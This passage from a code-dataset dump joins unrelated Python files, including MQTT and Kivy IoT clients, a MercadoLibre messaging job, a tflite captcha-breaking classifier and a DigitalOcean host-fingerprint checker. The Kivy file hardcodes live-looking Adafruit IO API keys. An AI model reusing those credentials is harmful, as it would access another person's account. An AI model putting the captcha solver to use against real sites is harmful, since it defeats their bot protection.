to keep server published on certain operations\r\nwhile True:\r\n    \r\n    client.publish(\"my-topic\", \"Hello\" )\r\n    client.publish(config ['mqtt'][\"topic-pub\"], config[\"component\"] [\"uuid\"] )\r\n\r\n\r\n    time.sleep(3)\r\n    \r\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"113473174","text":"#!/usr/local/bin/python\n# coding: latin-1\nfrom db import *\nfrom django.conf import settings\nimport json,time,locale,re,logging\ndb = create_session(bind=engine)\nordenes = db.execute(\"\"\"select * from point_orders join point_feedback on point_feedback.orders_id_id=point_orders.orders_id\nwhere expiration_date > current_timestamp\nand point_feedback.sale_id is not null\nand point_feedback.purchase_id  is null\nand cast(point_orders.date_created as date) >= current_date-60\nand seller_id in(select user_id  from AutoMessageAvailable where remember_feed = 1) \nand orders_id not in (select orders_id from rememberFeed where send =1)\n\"\"\")\ntoken = {}\nautoMessage = {}\nmeli = Meli(client_id=settings.CLIENT_ID, client_secret=settings.CLIENT_SECRET) \nfor o in ordenes:\n\t\n\tif not token.has_key(o.seller_id):\n\t\taccess = db.query(Credential.access_token).filter(Credential.user_id == o.seller_id).first()\n\t\ttoken[o.seller_id] = access.access_token\n\tif not autoMessage.has_key(o.seller_id):\n\t\tmens = db.query(AutoMessage).filter(AutoMessage.user_id == o.seller_id).first()\n\t\tautoMessage[o.seller_id] = mens.remember_feed\n\tcalificanos = autoMessage[o.seller_id] \n\tif '@CALIFICACION' in calificanos:\n\t\tcalificanos = calificanos.replace(\"@CALIFICACION\",\"Por favor no olvides calificarnos haciendo clic <a href='https://feedback.mercadolibre.com.ar/feedback?orderId=%s'>acá</a>.\" %(o.orders_id))\n\tmensaje = {\"from\": {\"user_id\": o.seller_id,},\"to\": [{\"user_id\": o.user_id,\"resource\": \"orders\",\"resource_id\": o.orders_id,\"site_id\": \"MLA\"}],\"text\": {\"plain\": calificanos}}   \n\tif calificanos is not None:\n\t\ttry:\n\t\t\tdb.begin()\n\t\t\tnewRemember = rememberFeed(orders_id = o.orders_id,send =1)\n\t\t\tdb.add(newRemember)\n\t\t\tdb.commit()\n\t\t\tresponse = meli.post(path=\"/messages/\",body=mensaje,params = {\"access_token\":token[o.seller_id]})\n\n\t\texcept Exception as e:\n\t\t\tlogging.error(e)\n\t\ndb.close()\n","sub_path":"rememberFeed.py","file_name":"rememberFeed.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"187943149","text":"x=int(input(\"number1=\"))\ny=int(input(\"number2=\"))\nz=int(input(\"number3=\"))\n\nif(x>y and x>z):\n    print(str(x)+\"is maximum\")\nelif(y>x and y>z):\n    print( str(y) +\"is maximum\")\nelse:\n    print(str(z)+\" is maximum\")\n\n\n","sub_path":"greater number.py","file_name":"greater number.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"91791542","text":"class Employee:\r\n \r\n    allowed_domains = {'yahoo.com', 'gmail.com', 'outlook.com'}\r\n \r\n    def __init__(self,name,email):\r\n        self.name = name\r\n        self.email = email\r\n \r\n    def display(self):\r\n        print(self.name, self.email)\r\n        \r\n        \r\n    @property\r\n    def email(self):\r\n        return self._email\r\n    \r\n    @email.setter\r\n    def email(self, new_email):\r\n        domain = new_email.split('@')[-1]\r\n        if domain in Employee.allowed_domains:\r\n            self._email = new_email\r\n        else:\r\n            raise RuntimeError(f'Domain {domain} is not allowed.')\r\n        \r\n    \r\n \r\ne1 = Employee('John','john@gmail.com')\r\ne2 = Employee('Jack','jack@yahoo.com')\r\ne3 = Employee('Jill','jill@outlook.com')\r\ne4 = Employee('Ted','ted@yahoo.com')\r\ne5 = Employee('Tim','tim@xmail.com')","sub_path":"DataManagement/Kode/Class_Testing/employees.py","file_name":"employees.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"641502080","text":"import numpy as np\nimport pandas\nimport os, sys\nimport time\n\npath = os.path.dirname(sys.argv[0])\nfolderpath = '/'.join(path.split('/')[0:-1]) + '/'\n\ncalldata = pandas.read_csv(folderpath + \"Excel & CSV Sheets/Added Addresses.csv\", sep=\",\")\nold_reports = pandas.read_csv(folderpath + \"Excel & CSV Sheets/Accident Report - 4-29-2015 - 4-29-2018.csv\", sep=\",\")\nroad_seg = pandas.read_csv(folderpath + \"Excel & CSV Sheets/Road_Segment_County_HAMILTON.csv\", sep=\",\")\n\n\n# for k, info in enumerate(old_reports.values):\n#     if old_reports.Latitude.values[k] > 40:\n#         old_reports.Latitude.values[k] = (old_reports.Latitude.values[k] / 1000000)\n#         old_reports.Longitude.values[k] = (old_reports.Longitude.values[k] / -1000000)\n\n# t0 = time.time()\n# for i, info in enumerate(calldata.values[0:34724]):\n#     print(i)\n#     for j, stuff in enumerate(old_reports.values):\n#         if calldata.Latitude.values[i] == old_reports.Latitude.values[j]:\n#             calldata.Address.values[i] = old_reports.Address.values[j]\n# calldata.to_csv(folderpath + \"Excel & CSV Sheets/Added Addresses.csv\", sep=',', index=False)\n# t1 = time.time()\n# total = t1-t0\n# # print(\"This fucking code took a whopping \", total)\n\ncalldata.Route = calldata.Route.astype(str)\nroad_seg.Road_Name = road_seg.Road_Name.astype(str)\ncalldata.Address = calldata.Address.astype(str)\n\nfor i, info in enumerate(calldata.values):\n    print(i)\n    for k, stuff in enumerate(road_seg.values):\n        if road_seg.Road_Name.values[k].lower() in calldata.Address.values[i].lower():\n            calldata.Route.values[i] = str(road_seg.Route.values[k])\n\ncalldata.to_csv(folderpath + \"Excel & CSV Sheets/Added Addresses with Routes.csv\", sep=',', index=False)","sub_path":"Code/ETRIMSmerge.py","file_name":"ETRIMSmerge.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"148362894","text":"import csv\r\n\r\n\r\ndef a3(input_file_path):\r\n\r\n    ip_addrs = {}\r\n\r\n    with open(input_file_path) as csv_file:\r\n        csv_reader = csv.reader(csv_file, delimiter=\",\")\r\n        line_count = 0\r\n        for row in csv_reader:\r\n            if line_count == 0:\r\n                print(\"[*] File: \" + input_file_path)\r\n            else:\r\n                source_address = str(row[3])\r\n                destination_address = str(row[4])\r\n                bytes_ = int(row[10])\r\n\r\n                if isExternalAddress(input_file_path, source_address):\r\n                    if source_address not in ip_addrs:\r\n                        # print(\"[+] New ip addr found: \" + source_address)\r\n                        ip_addrs[source_address] = 0\r\n                    ip_addrs[source_address] += bytes_\r\n\r\n                if isExternalAddress(input_file_path, destination_address):\r\n                    if destination_address not in ip_addrs:\r\n                        # print(\"[+] New ip addr found: \" + destination_address)\r\n                        ip_addrs[destination_address] = 0\r\n                    ip_addrs[destination_address] += bytes_\r\n            line_count += 1\r\n    print(f\"[*] Processed {line_count} lines.\")\r\n    print(\"\\n===========================RESULT=================================\")\r\n    print(sorted(ip_addrs.items(), key=lambda x: x[1], reverse=True)[0:50])\r\n    print(\"==================================================================\")\r\n    print(\"\\n\\n\")\r\n\r\n\r\ndef isExternalAddress(file, address):\r\n    if file == \"Enunciado/www.fct.unl.pt.csv\":\r\n        if address != \"193.136.126.43\" and address.split(\".\")[0] != \"10\":\r\n            return True\r\n\r\n    if file == \"Enunciado/bigFlows.csv\":\r\n        addr_split = address.split(\".\")\r\n        if addr_split[0] != \"172\" and (addr_split[1] != \"16\" or addr_split[1] != \"31\"):\r\n            return True\r\n    return False\r\n\r\n\r\ndef main():\r\n    print(\"\\n\\n\")\r\n    print(\r\n        \"[Determine the 50 most popular IP addresses external to the domain by number of bytes.]\\n\"\r\n    )\r\n    a3(\"Enunciado/www.fct.unl.pt.csv\")\r\n    a3(\"Enunciado/bigFlows.csv\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","sub_path":"a3.py","file_name":"a3.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"439592555","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Author: kazuhsat <kazuhsat555@gmail.com>\n\nimport shutil\nimport argparse\nimport os.path\nimport glob\n\ndef main():\n    parser = argparse.ArgumentParser(prog='replacer', epilog='(END)', add_help=True)\n\n    parser.add_argument('argument', nargs=3)\n\n    parser.add_argument('-f', '--force', action='store_true')\n    parser.add_argument('-i', '--interactive', action='store_true')\n    parser.add_argument('-r', '-R', '--recursive', action='store_true')\n\n    args = parser.parse_args()\n\n    pathname, search, replace = args.argument\n\n    interactive = False if args.force else True\n\n    if not os.path.exists(pathname):\n        print('replacer: %s: No such file or directory' % pathname)\n\n    if os.path.isdir(pathname):\n        if args.recursive:\n            for (root, dirs, files) in os.walk(pathname):\n                for file in files:\n                    file_str_replace(os.path.join(root,file), search, replace, interactive)\n        else:\n            for filename in os.listdir(pathname):\n                tmp_pathname = os.path.join(pathname, filename);\n                if os.path.isfile(tmp_pathname):\n                    file_str_replace(tmp_pathname, search, replace, interactive)\n    else:\n        file_str_replace(pathname, search, replace, interactive)\n\n\ndef file_str_replace(pathname: str, search: str, replace: str, interactive: bool=True) -> bool:\n    \"\"\"file_str_replace(pathname: string, search: string, replace: string, interactive: boolean)\n\n    replace words in a file.\n    \"\"\"\n    tmp_pathname = pathname + '.replace'\n\n    with open(pathname, 'r') as search_file, open(tmp_pathname, 'a') as replace_file:\n        for line in search_file:\n            if search in line:\n                if interactive:\n                    print('>>> %s' % pathname)\n                    print(line, end='')\n                    if input(\"replace with %s ? [y/n] \" % search).lower() != 'y':\n                        replace_file.write(line)\n                        continue;\n                replace_file.write(line.replace(search, replace))\n            else:\n                replace_file.write(line)\n\n    shutil.move(tmp_pathname, pathname)\n\n    return True\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"replacer.py","file_name":"replacer.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"577091868","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom tsdao.ts_base import ts_base\n\n\n# 股票列表\n# 描述：获取基础信息数据，包括股票代码、名称、上市日期、退市日期等\nclass ts_stock_basic(ts_base):\n    def __init__(self):\n        super().__init__(self)\n        #  接口  请求 api 名称\n        self.api_name = \"stock_basic\"\n\n    # 请求 所需要的  数据\n    # 数据说明\n    '''\n    ----------------------------------------------------------------------\n    输入参数\n\n        名称\t        类型\t    必选\t描述\n        is_hs\t    str\t    N\t是否沪深港通标的，N否 H沪股通 S深股通\n        list_status\tstr\t    N\t上市状态： L上市 D退市 P暂停上市\n        exchange\tstr\t    N\t交易所 SSE上交所 SZSE深交所 HKEX港交所(未上线)\n        \n    ----------------------------------------------------------------------\n    输出参数\n\n        名称\t        类型\t描述\n        ts_code\t    str\tTS代码\n        symbol\t    str\t股票代码\n        name\t    str\t股票名称\n        area\t    str\t所在地域\n        industry\tstr\t所属行业\n        fullname\tstr\t股票全称\n        enname\t    str\t英文全称\n        market\t    str\t市场类型 （主板/中小板/创业板/科创板）\n        exchange\tstr\t交易所代码\n        curr_type\tstr\t交易货币\n        list_status\tstr\t上市状态： L上市 D退市 P暂停上市\n        list_date\tstr\t上市日期\n        delist_date\tstr\t退市日期\n        is_hs\t    str\t是否沪深港通标的，N否 H沪股通 S深股通\n    '''\n    # 子类继承 当前接口\n    #  设置  请求参数\n    def set_query_param(self):\n        #  获取 数据 字段  字段用逗号连接  如: 'ts_code,symbol,name'\n        self.fields = 'ts_code,symbol,name,area,industry,fullname,enname,market,exchange,curr_type,list_status,list_date,is_hs'\n        #  请求参数\n        self.input_arr = {\n            'exchange': '',\n            'list_status': 'L',\n        }\n","sub_path":"scripts/tsdao/ts_stock_basic.py","file_name":"ts_stock_basic.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"303308988","text":"#!/usr/bin/env python3\n\n'''\nReference:\n    https://www.tensorflow.org/lite/guide/inference\n'''\n\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\nimport os\nimport cv2\nimport numpy\nimport string\nimport random\nimport argparse\nimport tflite_runtime.interpreter as tflite\nfrom multiprocessing import Pool\nimport time\nimport glob\n\nargs = None\ncaptcha_symbols = None\ntimestamp = None\n\ndef decode(characters, y):\n    y = numpy.argmax(numpy.array(y), axis=2)[:,0]\n    return ''.join([characters[x] for x in y])\n\ndef preprocess(raw_data):\n    img = cv2.cvtColor(raw_data, cv2.COLOR_BGR2GRAY)\n\n    '''\n    Rectnagular seems to be best here.\n        4,1 leaves a bit too kuch, and anthing above 5,1 starts to eat away at the actual data\n    Square reduces actual data to much and his no greater effect on non-data\n    '''\n    kernel = numpy.ones((5,1), numpy.uint8)\n    img = cv2.morphologyEx(img, cv2.MORPH_CLOSE, kernel, iterations = 1)\n\n    '''\n    Setting a constant cuttoff is more simple, but sometimes makes the data diappear\n    '''\n    cuttoff = numpy.mean(img) - numpy.std(img)\n    img[img > cuttoff] = 255\n\n    img = img.astype('float32') / 255\n    channels = 1\n    (c, h) = img.shape\n    img = img.reshape([-1, c, h, channels])\n    return img\n\ndef init_args(local_args, local_captcha_symbols, start):\n    global args, captcha_symbols, timestamp\n    args = local_args\n    captcha_symbols = local_captcha_symbols\n    timestamp = start\n\ndef classify(img_div):\n    interpreter = tflite.Interpreter(args.model_name+'.tflite')\n    interpreter.allocate_tensors()\n    input_details = interpreter.get_input_details()\n    output_details = interpreter.get_output_details()\n\n    predictions = {}\n    uuid = str(random.random()).split('.')[1]\n    with open('running_' + str(timestamp) + '_' + uuid + '.save', 'a') as out:\n        for x in img_div:\n            # load image and process it\n            raw_data = cv2.imread(os.path.join(args.captcha_dir, x))\n            image = preprocess(raw_data)\n            interpreter.set_tensor(input_details[0]['index'], image)\n            interpreter.invoke()\n            \n            prediction = ''\n            for i in range(args.captcha_len):\n                output_data = interpreter.get_tensor(output_details[i]['index'])[0]\n                max_val = 0\n                idx = 0\n                for i in range(len(output_data)):\n                    if output_data[i] >= max_val:\n                        max_val = output_data[i]\n                        idx = i\n                prediction += captcha_symbols[idx]\n            predictions[x] = prediction.replace(' ', '')\n\n            #Save results as we go in case there is a power failure\n            print(x + ',' + predictions[x], file=out)\n    return predictions\n\ndef main():\n    global args, captcha_symbols\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--model-name', help='Model name to use for classification', type=str)\n    parser.add_argument('--captcha-dir', help='Where to read the captchas to break', type=str)\n    parser.add_argument('--output', help='File where the classifications should be saved', type=str)\n    parser.add_argument('--symbols', help='File with the symbols to use in captchas', type=str)\n    parser.add_argument('--captcha-len', help='Number of symbols (max) per captcha', type=int)\n    parser.add_argument('--processes', help='Number of processes to use', type=int)\n    parser.add_argument('--continue-from', help='The timestamp of classified data to continue from', type=str)\n    args = parser.parse_args()\n\n    if args.model_name is None:\n        print(\"Please specify the CNN model to use\")\n        exit(1)\n\n    if args.captcha_dir is None:\n        print(\"Please specify the directory with captchas to break\")\n        exit(1)\n\n    if args.output is None:\n        print(\"Please specify the path to the output file\")\n        exit(1)\n\n    if args.symbols is None:\n        print(\"Please specify the captcha symbols file\")\n        exit(1)\n\n    if args.captcha_len is None:\n        print(\"Please specify the captcha length\")\n        exit(1)\n\n    if args.processes is None:\n        print(\"Please specify the number of processes to use\")\n        exit(1)\n\n    symbols_file = open(args.symbols, 'r')\n    captcha_symbols = symbols_file.readline().strip()\n    symbols_file.close()\n\n    print(\"Classifying captchas with symbol set {\" + captcha_symbols + \"}\")\n\n    start = time.time()\n\n    imgs = os.listdir(args.captcha_dir)\n    classified = {}\n\n    #If we already have some work done, continue from there\n    if args.continue_from is not None:\n        img_set = set(imgs)\n        classified_img_files = glob.glob('*' + args.continue_from + '*')\n        for file_name in classified_img_files:\n            with open(file_name, 'r') as inp:\n                for line in inp:\n                    name, prediction = line.strip().split(',')\n                    classified[name] = prediction\n        img_set -= classified.keys()\n        imgs = [x for x in img_set]\n\n    #Split up the work and run\n    pool = Pool(processes=args.processes, initializer=init_args, initargs=[args, captcha_symbols, start])\n    img_divs = [imgs[i * len(imgs) // args.processes : (i + 1) * len(imgs) // args.processes] for i in range(args.processes)]\n    result = pool.map(classify, img_divs)\n\n    #Save results\n    with open(args.output, 'w') as output_file:\n        #new classifications\n        for mapping in result:\n            for key in mapping:\n                output_file.write(key + \",\" + mapping[key] + \"\\n\")\n\n        #Classifications made from before\n        if len(classified) > 0:\n            for key in classified:\n                output_file.write(key + \",\" + classified[key] + \"\\n\")\n\n    pool.close()\n\n    end = time.time()\n    print('Time: ' + str(end - start))\n\nif __name__ == '__main__':\n    main()\n\n'''\nsee startup.sh for examples on how to run\n'''\n","sub_path":"classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":5950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"545705352","text":"import kivy\nkivy.require('1.9.0')\n\nfrom kivy.app import App\nfrom kivy.uix.label import Label\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.button import Button\nfrom Adafruit_IO import Client\n\n\n# ADAFRUIT_IO_KEY = '60255f7bc1a94c39905492e04d8d7c2b'\n# ADAFRUIT_IO_USERNAME = 'victorox100'\n\nADAFRUIT_IO_KEY = '1cee6e836738402582666a4a98ed154c'\nADAFRUIT_IO_USERNAME = 'rafaelroguz'\n\naio = Client(ADAFRUIT_IO_USERNAME, ADAFRUIT_IO_KEY)\n\n\nclass MyGrid(GridLayout):\n\n    def __init__(self, **kwargs):\n        super(MyGrid, self).__init__(**kwargs)\n        self.cols = 1\n\n        self.inside = GridLayout()\n        self.inside.cols = 2\n\n        self.inside.add_widget(Label(text=\"Temperature:\", font_size=30))\n        self.temperatura = TextInput(multiline=False, font_size='30sp')\n        self.inside.add_widget(self.temperatura)\n\n        self.inside.add_widget(Label(text=\"Alarma:\", font_size=30))\n        self.alarmita = TextInput(multiline=False, font_size='30sp')\n        self.inside.add_widget(self.alarmita)\n\n        self.add_widget(self.inside)\n\n        self.sendon = Button(text=\"LED On\", font_size=40)\n        self.sendon.bind(on_press=self.sendmqtt_on)\n        self.add_widget(self.sendon)\n\n        self.sendoff = Button(text=\"LED Off\", font_size=40)\n        self.sendoff.bind(on_press=self.sendmqtt_off)\n        self.add_widget(self.sendoff)\n\n        self.sendalarm = Button(text=\"Alarm Off\", font_size=40)\n        self.sendalarm.bind(on_press=self.sendmqtt_alarm_off)\n        self.add_widget(self.sendalarm)\n\n        self.sendtemp = Button(text=\"Temperature\", font_size=40)\n        self.sendtemp.bind(on_press=self.sendmqtt_temperature)\n        self.add_widget(self.sendtemp)\n\n        self.alarmbtn = Button(text=\"Update\", font_size=40)\n        self.alarmbtn.bind(on_press=self.receiveUpdate)\n        self.add_widget(self.alarmbtn)\n\n    def sendmqtt_on(self, instance):\n        aio.send('request', \"LIGHTS_ON\")\n        data = aio.receive('request')\n        print('Received value: {0}'.format(data.value))\n\n    def sendmqtt_off(self, instance):\n        aio.send('request', \"LIGHTS_OFF\")\n        data = aio.receive('request')\n        print('Received value: {0}'.format(data.value))\n\n    def sendmqtt_alarm_off(self, instance):\n        aio.send('request', \"ALARM_OFF\")\n        data = aio.receive('request')\n        print('Received value: {0}'.format(data.value))\n        self.receiveUpdate\n\n    def sendmqtt_temperature(self, instance):\n        aio.send('request', \"TEMPERATURE\")\n        data = aio.receive('request')\n        temp = aio.receive('temperature')\n        print('Received value: {0}'.format(data.value))\n        print('Temperature: {0}'.format(temp.value))\n        self.temperatura.text = temp.value\n\n    def receiveUpdate(self, instance):\n        alarma = aio.receive('alarm')\n        self.alarmita.text = alarma.value\n\n\nclass MyApp(App):\n    def build(self):\n        return MyGrid()\n\n\nif __name__ == \"__main__\":\n    MyApp().run()","sub_path":"AppProyectoFinal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"304493536","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk \n\nclass Pcap(Gtk.Window):\n    def __init__(self):\n        Gtk.Window.__init__(self, title=\"PCAP\")\n\n        mainBox = self.box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL,spacing=10)\n        self.add(mainBox)\n\n        topBox = self.box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL,spacing=10)\n        topBox.set_homogeneous(False)\n        \n        midBox = self.box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL,spacing=10)\n        midBox.set_homogeneous(False)\n        \n        botBox = self.box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL,spacing=10)\n        botBox.set_homogeneous(False)\n\n        mainBox.pack_start(topBox, True, True, 10)\n        mainBox.pack_start(midBox, True, True, 10)\n        mainBox.pack_start(botBox, True, True, 10)\n\n        label = Gtk.Label(\"Open a PCAP file.\")\n        label.set_justify(Gtk.Justification.CENTER)\n        topBox.pack_start(label, True, True, 10)\n        \n        plabel = Gtk.Label(\"PCAP Name\")\n        plabel.set_justify(Gtk.Justification.CENTER)\n        midBox.pack_start(plabel, True, True, 10)\n\n        self.entry = Gtk.Entry()\n        self.entry.set_text(\"PCAP File\")\n        midBox.pack_start(self.entry, True, True, 10)\n\n        self.browse = Gtk.Button(label=\"Browse\")\n        self.browse.connect(\"clicked\", self.browse_clicked)\n        midBox.pack_start(self.browse, True, True, 10)\n\n        self.open = Gtk.Button(label=\"Open\")\n        self.open.connect(\"clicked\", self.open_clicked)\n        botBox.pack_start(self.open, True, True, 10)\n\n        self.cancel = Gtk.Button(label=\"Cancel\")\n        self.cancel.connect(\"clicked\", self.cancel_clicked)\n        botBox.pack_start(self.cancel, True, True, 10)\n\n    def browse_clicked(self,widget):\n        print(\"Browse\")\n        dialog = Gtk.FileChooserDialog(\"Please choose a file\", self,\n            Gtk.FileChooserAction.OPEN,\n            (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n             Gtk.STOCK_OPEN, Gtk.ResponseType.OK))\n\n        self.add_filters(dialog)\n\n        response = dialog.run()\n        if response == Gtk.ResponseType.OK:\n            print(\"Open clicked\")\n            print(\"File selected: \" + dialog.get_filename())\n        elif response == Gtk.ResponseType.CANCEL:\n            print(\"Cancel clicked\")\n\n        dialog.destroy()\n\n    def open_clicked(self,widget):\n        print(\"Launch\")\n        self.destroy()\n\n    def cancel_clicked(self,widget):\n        print(\"Cancel\")\n        self.destroy()\n   \n    def add_filters(self, dialog):\n        filter_text = Gtk.FileFilter()\n        filter_text.set_name(\"Text files\")\n        filter_text.add_mime_type(\"text/plain\")\n        dialog.add_filter(filter_text)\n\n        filter_py = Gtk.FileFilter()\n        filter_py.set_name(\"Python files\")\n        filter_py.add_mime_type(\"text/x-python\")\n        dialog.add_filter(filter_py)\n\n        filter_any = Gtk.FileFilter()\n        filter_any.set_name(\"Any files\")\n        filter_any.add_pattern(\"*\")\n        dialog.add_filter(filter_any)\n        ","sub_path":"pcap.py","file_name":"pcap.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"31268245","text":"#!/usr/local/bin/python3.7\n# -*- coding: UTF-8 -*-\n\nfrom collections import defaultdict\nfrom decimal import Decimal\n\n\nclass Point:\n    def __init__(self, a=0, b=0):\n        self.x = a\n        self.y = b\n\n\nclass Solution(object):\n    def maxPoints(self, points):\n        slopes, result = defaultdict(int), 0\n        print(slopes, result)\n        for i, point1 in enumerate(points):\n            slopes.clear()\n            duplicate = 1\n            for _, point2 in enumerate(points[i+1:]):\n                if point1.x == point2.x and point1.y == point2.y:\n                    duplicate += 1\n                    continue\n\n                slope = float('inf') if point1.x == point2.x else \\\n                    Decimal((point1.y - point2.y)) / \\\n                    Decimal((point1.x - point2.x))\n\n                slopes[slope] += 1\n\n            if result < duplicate:\n                result = duplicate\n\n            for _, val in slopes.items():\n                if val + duplicate > result:\n                    result = val + duplicate\n\n        return result\n\n\nif __name__ == \"__main__\":\n    points = [Point(1, 1), Point(2, 2),\n              Point(3, 3)]\n    print(Solution().maxPoints(points))\n","sub_path":"Number/MaxPointsOnALine.py","file_name":"MaxPointsOnALine.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"19998639","text":"import digital_ocean_manager\nimport SimpleSSH\nimport time\nimport sys\n\n'''\nLucasZanella.com\n\nScript to fix the Digital Ocean's old problem of not providing fingerprints for\nnewly created droplets, making you insecurely accept them or painly find them on\nthe slow and annoying web console. \n\nHow it works?\n\nYou connect to an already known droplet (for which you get the fingerprints from the web\nconsole, please do not accept the fingerprints for it blindly) that has private networking enabled, \nwhich we'll call 'base' droplet (if not in private network, enable it in dashboard for this droplet).\n\nThen we create, through the API, a 'target' droplet with the private networking\nenabled too (internal digital ocean's local networking) IN THE SAME REGION OF THE BASE DROPLET\n(of course). Then we SSH to the 'base' droplet, and inside it, we run ssh-keyscan to the\n'target' droplet via the local network, so we not get 'man in the middled' to retrieve the\nfingerprints, which are printed on the screen.\n\nThis script can connect to the base droplet through password or ssh keys, just configurate\nbelow. The target droplet will get all the ssh keys provided in the dashboard, but we \ndon't even connect to the 'target' droplet, we just ssh-keyscan it locally from the 'base' \ndroplet\n\n'''\n\n#user configuration--------------------------------\ntoken = \"\" #Digital Ocean API token\nname_base_droplet = \"\"\nport_base_droplet = 22\nusername_base_droplet = \"root\"\npassword_base_droplet = \"\"\n#If file path is set, password_base_droplet will be its password\nkey_filename_base_droplet = None\n#Paste below base64 pub key or sha256 fingerprint of base droplet. Don't use MD5, it's insecure, update openssh instead\nbase_droplet_fingerprints = [\"fingerprint_key_1\", \"fingerprint_key_2\", \"fingerprint_key_3\", \"...\"] \nname_target_droplet = \"\"\ncreate_droplet = True\ntarget_droplet_config = {'region':'nyc3',\n                         'image':'ubuntu-16-10-x64',\n                         'size':'512mb',\n                         'networking': True,\n                         'backups': False}\n#--------------------------------------------------\nprint('Connecting to Digital Ocean...\\n')\nmanager = digital_ocean_manager.Manager(token)\nbase_droplet = manager.get_droplet(name=name_base_droplet)\n\nif not create_droplet and not base_droplet: print('No target droplet found with name ' + name_target_droplet)\nif create_droplet: \n    print('Creating droplet ' + name_target_droplet + \"...\")\n    manager.create_droplet(name_target_droplet, target_droplet_config)\n    print('Waiting for it to become active...')\n\n\ntarget_droplet = manager.get_droplet(name=name_target_droplet)\nif not target_droplet:\n    print('Target droplet not found! Did you want to create it? If so, set create_droplet = True')\n    exit()\n\n#Waits for target droplet to become active, pass 'print' function\n#to be executed on every try to verify if droplet is already active\ndef prtn(text):\n    print(text, end='')\n    sys.stdout.flush()\nif not create_droplet: print('Verifying if droplet is active...')\nmanager.block_until_active(log=prtn, name=name_target_droplet)\nprint('')\nif not manager.are_in_same_region(base_droplet, target_droplet):\n    print('ERROR: base and target are not in the same region!')\n    exit()\n\nbase_droplet_ip = manager.get_global_ip(base_droplet)\nprint('Base droplet ' + name_base_droplet + ' has IP ' + base_droplet_ip)\ntarget_droplet_local_ip = manager.get_private_ip(target_droplet)\ntarget_droplet_global_ip = manager.get_global_ip(target_droplet)\nprint('Target droplet ' + name_target_droplet + ' has global IP ' + target_droplet_global_ip + ' and local IP ' + target_droplet_local_ip + '\\n')\n\nprint('SSHing to ' + base_droplet_ip + ':' + name_base_droplet + '...')\nfingerprints_object = SimpleSSH.specify_fingerprints(base_droplet_fingerprints)\nconnection = SimpleSSH.SSHConnection(ip=base_droplet_ip, port=port_base_droplet,\n                               username=username_base_droplet, password=password_base_droplet,\n                               key_filename=key_filename_base_droplet,\n                               policy=fingerprints_object)\n\nprint('Running ssh-keyscan from ' + base_droplet_ip + ':' + name_base_droplet + ' to ' + target_droplet_local_ip + ':' + name_base_droplet + ' LOCALLY...')\nwhile True:\n    scan = connection.remote_key_scan(target_droplet_local_ip)\n    if not scan == None:\n        break\n    else:\n        time.sleep(2)\nprint('sha256 fingerprints are:')\nprint(scan['sha256'])\n","sub_path":"create_check_fingerprint.py","file_name":"create_check_fingerprint.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"319837125","text":"#!/usr/bin/env python\n# encoding: utf-8\n# @Time:2020/9/27 20:43\n# @Author:JiahangGu\nfrom typing import List\n\n\nclass Solution:\n    def threeSumClosest(self, nums: List[int], target: int) -> int:\n        \"\"\"\n        和15题一样，只不过将之前找target变成找和target差最小的三个数字，双指针解法一样。在差更小时更新解。\n        :param nums:\n        :param target:\n        :return:\n        \"\"\"\n        ans = 0\n        tmp = 1e18\n        nums.sort()\n        for i in range(len(nums) - 2):\n            if i > 0 and nums[i] == nums[i - 1]:\n                continue\n            l, r = i + 1, len(nums) - 1\n            while l < r:\n                if abs(nums[i] + nums[l] + nums[r] - target) < tmp:\n                    tmp = abs(nums[i] + nums[l] + nums[r] - target)\n                    ans = nums[i] + nums[l] + nums[r]\n                if nums[i] + nums[l] + nums[r] < target:\n                    l += 1\n                else:\n                    r -= 1\n        return ans\n\n\ns = Solution()\nprint(s.threeSumClosest([0,2,1,-3], 1))\n","sub_path":"All 